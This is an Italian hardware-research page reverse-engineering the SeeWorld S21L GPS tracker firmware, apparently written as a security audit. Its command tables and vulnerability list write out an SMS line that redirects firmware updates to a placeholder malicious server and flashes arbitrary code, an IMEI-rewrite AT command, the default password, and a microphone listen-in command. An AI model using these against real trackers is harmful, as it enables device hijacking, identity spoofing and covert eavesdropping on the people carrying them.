V
Visla Hardware
Portal R&D
🤝 OEM Partner Visla — SeeWorld (Shenzhen)

S21L (rebrand ST909-4G)

LTE Cat-1 consumer tracker · audio MEMS · firmware GL_016_V04 reverse-engineered con Ghidra
📂 Folder GitHub →
✓ 6 RTOS tasks identified 🧠 94 parser functions catalogati 📢 36 alarm types 📜 70 SMS commands ⚠️ 7 vulnerabilità

🎯 Hardware identificato

FunzioneComponenteNote
PCB platformSeeworld ST909-4G v2.0Marking PCB: ST909-4G-V2.0-20210914 (design 14/09/2021)
Modem + MCUSimCom A7670E →P/N S2-10F8J-Z32WE, chipset ASR1601 (ARM Thumb-2, RTOS ThreadX)
GPSQuectel L76K →L76KB-A58 01-C1092 via UART verso A7670E
Antenna 4GEsterna via pogo pins2 pin a molla "ANT-4G" — antenna nel case (non PCB)
Antenna GPSPatch 2.04.003.14Ceramica passiva (più piccola del G11L SE)
Microfono✅ MEMS digitaleEtichetta MIC, processato da trackAudioProcesser
SDK firmwareA011B02V06A7670M7_SDK_231218SimCom A7670 SDK build 18/12/2023 (sotto NDA)
ArchitetturaNo MCU esterno — fat-modemFirmware gira interamente dentro A7670E (ThreadX RTOS)
Base address ELF0x7E9015B0Confermato per Ghidra reverse
Test pad UARTRX/TX, TXD/RXD, LRX/LTX, BOOT03 UART esposti + BOOT0 per download mode

📸 Foto PCB

Lato top: SimCom A7670E modem (P/N S2-10F8J-Z32WE) + Quectel L76K GNSS + IC charger SOIC-8 + test pad UART (RX/TX/LRX/LTX/BOOT0)
Lato top: SimCom A7670E modem (P/N S2-10F8J-Z32WE) + Quectel L76K GNSS + IC charger SOIC-8 + test pad UART (RX/TX/LRX/LTX/BOOT0)
Lato bottom: USB-C + pulsante PKEY + pogo pins ANT-4G (antenna esterna!) + slot SIM nano + antenna patch GPS 2.04.003.14 + microfono MEMS (MIC) + LED status
Lato bottom: USB-C + pulsante PKEY + pogo pins ANT-4G (antenna esterna!) + slot SIM nano + antenna patch GPS 2.04.003.14 + microfono MEMS (MIC) + LED status

🧠 RTOS architecture (ThreadX su ASR1601)

5 task RTOS concorrenti identificati dal firmware, ciascuno con ruolo specifico nel pipeline tracking/comunicazione:

Nome task RTOSRuolo
sAPP_KeyTask Gestione pulsante SOS + switch DEF/ON
sAPP_UartTask Processor AT command via UART di debug
sAPP_UsbVcomTask Virtual COM port USB
sTask_TrackGsmProcesser Main loop SMS / cellular signaling
sTask_TrackUartProcesser Task protocollo (parsing frame TCP/UDP in arrivo)

⚙️ Sub-processers event-driven (6)

Funzioni event-driven chiamate dai task principali:

ProcesserFunzione
trackGpsProcesser Parsing NMEA da L76K, validazione fix, filtro drift 7-param
trackGprsProcesser + trackGprsRecvProcesser Send/receive frame TCP/UDP via LTE
trackAgpsProcesser + trackAgpsRecvProcesser Fetch dati AGPS da agps.aika168.com
trackFotaProcesser Download FOTA da server Seeworld + flash bootloader
trackAudioProcesser Cattura microfono, recording, PoC push-to-talk
XM_AT_CMD_Pro Custom AT processor sopra SDK SimCom (XM=Xunmeng=寻梦)

📁 Filesystem persistente interno

Il firmware mantiene cache + buffer offline nel filesystem dell'A7670E (drive C:):

PathContenuto
c:/agps_data.txt Cache dati AGPS (almanac + ephemeris pre-fetched)
c:/blind_data0.txt Buffer offline slot 0 (coordinate accodate senza rete)
c:/blind_data1.txt → blind_data9.txt 10 slot totali store-and-forward (latitudine, longitudine, timestamp)

🛠️ 94 Parser functions identificate

Ogni parser gestisce un comando specifico di config (via SMS o protocollo di rete). Raggruppate per dominio:

Identità / Setup

7 funzioni
  • track_set_id_parse
  • track_set_password_parse(2)
  • track_set_admin_parse(2)
  • track_dev_setting_parse
  • track_plata_cont_parse (targa veicolo: color, platehead, platnum, id)

Rete / Connettività

9 funzioni
  • track_apn_parse(2)
  • track_apn_username_parse(2)
  • track_apn_password_parse(2)
  • track_ip_parse
  • track_server_parse + track_server_read_parse
  • track_protect_parse

Tracking / Reporting

13 funzioni
  • track_dirrep_parse (cambio direzione: ang=%d)
  • track_heart_time_parse (heartbeat interval)
  • track_timer_parse + track_timer_mode_parse + track_timer_read_parse
  • track_start_upload_time_parse / track_stop_upload_time_parse
  • track_gps_drift_parse (filtro 7-param)
  • track_hdopgl_parse (soglia HDOP)
  • track_odometer_setting_parse / track_odometer_correct_parse
  • track_gmt_parse / track_zone_parse(2)

Power / Sleep

9 funzioni
  • track_sleep_time_parse
  • track_normal_mode_parse / track_save_mode_parse / track_dens_mode_parse / track_power_mode_parse / track_timer_mode_parse
  • track_bat_low_volt_parse (soglia batt bassa)
  • track_pwr_low_volt_parse (soglia main power)
  • track_pwregis_parse
  • track_power_protect_parse + track_protect_time_parse + track_protect_reset_time_parse

Configurazione allarmi

27 funzioni
  • track_set_alarm_parse (enable/disable per tipo)
  • track_shack_senti_parse(2) (sensibilità vibrazione)
  • track_shack_alarm_parse
  • track_move_parse(2) + track_move_sms_parse + track_move_call_parse
  • track_speed_parse(2) + sms/call + track_oil_speed_parse
  • track_acc_detection_parse + track_acc_sms_parse(2) + track_acc_call_parse(2)
  • track_sos_parse + track_sos_sms_parse(2) + track_sos_call_parse(2)
  • track_bat_low_sms_parse + track_bat_low_call_parse
  • track_pwr_sms_parse(2) + track_pwr_call_parse(2)
  • track_pwr_low_sms_parse + track_pwr_low_call_parse
  • track_power_off_alarm_parse
  • track_tpalm_parse + track_tpalm_read_parse (tamper)

Comunicazioni / Numeri

11 funzioni
  • track_set_usernum_parse / track_query_usernum_parse / track_delete_usernum_parse (3 numeri autorizzati)
  • track_sms_cmt_parse / track_set_sms_mode_parse
  • track_audio_record_parse / track_sound_record_parse
  • track_set_audio_volume_parse / track_set_mic_gain_parse / track_vox_parse
  • track_nobspot_parse (no-blind-spot mode)

Diagnostica / Misc

18 funzioni
  • track_paramater_read_parse / track_paramater_set_parse (read/write generic)
  • track_read_device_data_parse (readback completo)
  • track_set_dbg_level_parse
  • track_led_parse
  • track_wlan_parse (scansione)
  • track_other_cmd_parse (fallback)
  • track_stne_parse ([stne] dev=%s)
  • track_google_addr_link (URL Google Maps)
  • track_id_decrypt (decrittazione ID — algoritmo ignoto)
  • track_heart_bag (sender heartbeat packet)
  • track_login_gt06 (handshake login GT06)

🚨 36 Alarm types (cataloghi trigger)

AllarmeDescrizioneTrigger source
sos sms/call alarm Pressione pulsante SOS sAPP_KeyTask → track_sos_sms_parse / track_sos_call_parse
Overspeed alarm Velocità sopra soglia trackGpsProcesser → track_speed_parse
acc sms/call alarm Evento accensione on/off trackGpsProcesser (linea ACC) → track_acc_detection_parse
Shake / shack / vibalarm Movimento da accelerometro trackGpsProcesser (accel 3 assi) → track_shack_alarm_parse
move alarm Movimento rilevato (senza ACC) track_move_parse
pwr sms/call alarm Cambio stato alimentazione track_pwr_sms_parse / track_pwr_call_parse
low power sms/call alarm Alimentazione principale bassa track_pwr_low_volt_parse
low bat sms/call alarm / lowbatalm Batteria interna bassa track_bat_low_volt_parse
Low voltage alarm Soglia inferiore superata track_bat_low_volt_parse
BAT low alarm Batteria sotto X% (soglia in flash) get bat percentage[%d]
Power off alarm / pwralarm Alimentazione principale scollegata track_power_off_alarm_parse
Mobile alarm Jamming cellulare rilevato Monitor GSM interno (S21L NO — solo G11L SE)
Out fence alarm Uscita da geofence trackGpsProcesser
Fire alarm Sensore esterno (TBD) TBD
Tamper alarm Manomissione case/sigillo TBD
RTC alarm Wake-up schedulato track_timer_parse

Tutti gli allarmi possono essere routati a numeri autorizzati (SMS, call) via track_set_alarm_parse.

📜 SMS Commands — 54 aperti + 16 password-protected

Format: *<NOME># (query) o *<NOME>:<valore># (set). Risposta in envelope RMMI-SMS[%s][%d].

Comandi aperti (54) — esempi top

*ID# / *ID:%s# — Device ID
*IMEI# / *IMEI:%s# — IMEI (scrivibile!)
*ICCID# / *IMSI# / *PN# — SIM info
*BAT# — Tensione batt: *BAT:%d.%d#
*GPS# — *GPS:A-%d-%d# (valid) o V-%d-%d#
*GSM# — Livello segnale
*IP# / *IP2# — Server primary/backup
*APN# — Stringa APN
*PROTOCOL# — 1=GT06, 4=JT808
*INTERVAL# — *INTERVAL:%d-%d-%d# (ACC-on/off/heart)
*MIC# — Attiva microfono listen-in
*OK# — Auto-test (8 righe report)
*START# / *STOP# — Tracking on/off
*RDST# / *PWROFF# — Reset / Power-off

Comandi protetti pwd `1234` (17)

ComandoEffetto
*1234,*108# Feature 108 (sconosciuta — probabile toggle)
*1234,*109# Feature 109
*1234,*206# Set IP primario: ritorna `IP = %s`
*1234,*207# Config rete completa: [apn][name][pwd][domain][IP][port]
*1234,*208# Numeri utente autorizzati: usernum = %s,%s,%s
*1234,*233# Banner version: <======S21L_GL_016_V04_20260109======>
*1234,*906# Report auto-test completo (8 righe strutturate)
*1234,*999# Dump diagnostico COMPLETO (IMEI, ICCID, IP, APN, soglie, numeri, URL FOTA, GPS drift)
*1234,203*0/1# Feature 203 off / on
*1234,280*0/1/2# Sleep mode: 0=leggero, 1=medio, 2=profondo
*1234,281*0/1# Feature 281 off / on (RTC wake-up?)
*1234,400*1# Feature 400 on
*1234,URL,<url># ⚠️ Set URL FOTA — vulnerabile a hijack (no auth)
*1234,UPLOAD,<url># ⚠️ Set URL upload
FORMAT# / format# / AT%TEST=FORMAT# ⚠️ Wipe memoria NV completo — factory reset
RTC*0/1# Toggle wake-up RTC
FOTA*0/1# Toggle / trigger FOTA download

📋 Modello dati config (da dump *1234,*999#)

IMEI: <15 cifre>
ICCID: <ICCID SIM>
VER: <fw_version> <sdk_version>

IP: <host_primario> PORT: <porta_primaria>
IP2: <host_backup> PORT: <porta_backup>           (via *1234,*206/207#)
APN: <apn> USERNAME: <user> PASSWORD: <pwd>

ACCON: <sec>  ACCOFF: <sec>  HAERT: <sec>         # intervalli reporting
ZONE: ±<h>-<m>-<s>                                # timezone locale
GMT:  ±<h>-<m>-<s>                                # offset GMT
PROTOCOL: 1|4                                     # 1=GT06, 4=JT808
LANGUAGE: <0..n>
SLEEP: <mode> TIME: <sec>                         # 0=leggero, 1=medio, 2=profondo

GPSDRIFT: <p1>-<p2>-<p3>-<p4>-<p5>-<p6>-<p7>     # filtro drift 7 parametri
ANGLE: <p1>-<p2>                                  # parametri report cambio direzione
NUM1: <tel1>  NUM2: <tel2>  NUM3: <tel3>          # 3 numeri autorizzati
MOVE: <sensibilità>-<durata>                      # rilevamento movimento
URL1: <URL FOTA primario>
URL2: <URL FOTA secondario>

🩺 Auto-test report (`*OK#` o `*1234,*906#`)

START
**********************************************

1. ID:<device_id>

2. VER:<fw>  <sdk>  <model>  <region>
   es.: VER: S21L_GL_016_V04_20260109  A011B02V06A7670M7_SDK_231218  S2-10AZT  ...

3. IP:<host_primario>-<porta>  APN:<apn>

4. PWR:ON V:<volt>     (oppure PWR:OFF V:<volt>)

5. SIM:PASS, 1         (oppure SIM:FAIL, 0)

6. GSM: <livello_segnale>

7. GPRS:PASS ON        (oppure FAIL ON / FAIL OFF)

8. GPS:PASS-ON <lat>-<lon>-<sat>-<hdop>-<speed>   (oppure FAIL-OFF/FAIL-ON, -V per invalido)

📦 Flow FOTA decodificato

Pipeline:
1. Device fa polling o riceve URL FOTA via SMS
2. GET <URL>/track.bin   (HTTP plain, no auth, no signature)
3. Bootloader valida header 16-byte + checksum JAMCRC
4. Flash payload + reboot

URL hardcoded (modificabili solo via firmware patch):
- Primario:   http://183.57.42.234:888/uploadfile/s21l/70g_llse/<rev>/track.bin
- Secondario: http://www.aika168.com/uploadfile/s21l/70g_llse/<rev>/fota.bin

Trigger remoto SMS:
> *1234,URL,<custom_url>#    → device aggiorna URL
> *1234,fota*1#              → device fa fetch + flash + reboot

⚠️ 7 vulnerabilità security PERSISTENTI V01→V04 (3 anni)

Cross-version diff conferma: ZERO fix di sicurezza in 3 anni da Seeworld

Password default `1234`
PERSISTENTE V01→V04 (3 anni)

Hardcoded, non modificabile dai canali standard. Brute-force banale (10⁴ tentativi)

Credenziali AGPS globali hardcoded
PERSISTENTE

Account universale verso agps.aika168.com nel firmware

FOTA HTTP plain → IP cinesi
PERSISTENTE

http://183.57.42.234:888 e aika168.com (HTTP non cifrato)

FOTA URL hijack via SMS
PERSISTENTE

*1234,URL,<malicious-server># cambia il server FOTA → flash firmware arbitrario

IMEI scrivibile via AT command
PERSISTENTE

AT+EGMR=1,7,<imei> riscrive identità device

Nessun supporto HTTPS
PERSISTENTE

Tutto il traffico cloud + AGPS + FOTA in chiaro

Nessun firmware firmato (solo JAMCRC)
PERSISTENTE

Bootloader valida solo header 16-byte + checksum JAMCRC = accetta qualsiasi binario well-formed

🔧 Estensione XM_AT_CMD_Pro

Processor AT custom sopra il set AT SimCom. Format log:

[XM_AT_CMD_Pro][cmd][param-char]    → parametro string
[XM_AT_CMD_Pro][cmd][param-int]     → parametro int
[XM_AT_CMD_Pro][cmd]                → no parametro

XM = "Xunmeng" (寻梦, nome cinese di Seeworld). Layer tra AT SDK e logica applicativa custom Seeworld.

📁 Versioni firmware archiviate (cross-version diff)

firmware-binari/s21l/
├── V01_20230530.bin   (264 KB, 30 mag 2023) — baseline
├── V02_20231106.bin   (273 KB, 6 nov 2023)  — +9KB nuove feature
├── V04_20260109.bin   (286 KB, 9 gen 2026)  — +13KB tra V02 e V04
└── V04_20260113.bin   (286 KB, 13 gen 2026) — hotfix 4 giorni dopo

📊 Cross-version diff disponibile in: firmware/tools/cross_version_diff.py

📚 Documentazione tecnica complete

Reverse engineering completo (5 documenti, ~1400 righe MD):

⚔️ Confronto vs G11L SE (stessa firmware engine)

AspettoS21L (ST909)G11L SE →
HardwareA7670E S2-10F8J-Z32WEA7670E S2-10D6H-Z31S5
Microfono✅ MEMS❌ No
Antenna 4GEsterna (pogo)Interna PCB
Jamming detect❌ No (stub)✅ Sì (JAMMING ALARM!)
Collision/UBI❌ No✅ Sì
Sensors I2C ext❌ No✅ track_sensor_*
Angle/inclinazione❌ No✅ track_angle_parse
ProtocolloJT808 ExtendedGT06 + JT808 switch
SMS commands70 (54 + 16 pwd)251 commands
Firmware statusV04 maintenance (13/01/2026)V08 attivo (14/05/2025)
Target use caseConsumer + audio listen-inPro fleet / UBI insurance